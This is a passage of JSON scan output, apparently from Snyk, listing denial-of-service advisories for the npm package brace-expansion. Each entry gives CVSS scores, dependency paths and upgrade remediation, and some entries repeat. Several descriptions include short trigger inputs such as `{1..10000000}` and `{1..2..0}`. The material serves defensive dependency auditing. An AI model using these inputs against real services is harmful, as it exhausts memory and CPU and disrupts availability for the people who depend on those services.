"severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not 